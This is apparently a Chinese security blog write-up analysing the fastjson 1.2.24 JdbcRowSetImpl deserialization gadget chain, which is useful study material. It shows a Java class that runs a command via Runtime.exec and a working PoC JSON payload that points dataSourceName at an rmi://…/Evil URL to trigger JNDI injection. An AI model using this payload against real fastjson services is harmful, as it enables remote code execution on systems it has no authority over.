代码审计之FastJson_JdbcRowsetImpl

  • 简介:

1、此文章的利用链原理主要是当使用@type时,会触发类里面的set方法。

2、fastjson版本为1.2.24

3、最好使用1.8.0_65

  • 准备阶段:

1、恶意类

public class test {
    public void setCmd(String abc) throws IOException {
        String cmd = "Open -a Calculator";//mac系统用这个,windows用calc
        Runtime.getRuntime().exec(cmd);
    }
}

2、Main方法

public class Main {
    public static void main(String[] args) {
        String s="{\"@type\":\"org.example.test\",\"cmd\":\"1\"}";
        JSONObject people= JSON.parseObject(s);
    }
}
  • 分析阶段:

当执行Main时可以发现弹计算器,具体原理没记错应该是调用了反射,不过不分析。主要是看JdbcRowsetImpl为什么能利用,下面是fastjson的poc

 {
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://127.0.0.1:1099/Evil", 
	"autoCommit":true
}

根据上面的原理,这里一定是调用了某个set方法,所以我们可以在JdbcRowSetImpl这个类里面搜setAutoCommit和setDataSourceName这两个方法查看。不过主要的利用点在setAutoCommit

image.png

image.png

这里触发了jndi注入,这里因为是getDataSourceName,所以可以构造攻击者的url来进行攻击

  • 总结

这个利用链主要是触发了setAutoCommit里面的connect方法,然后里面有jndi漏洞代码,可以使用setDataSourceName来构建构建恶意url来攻击fastjson

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。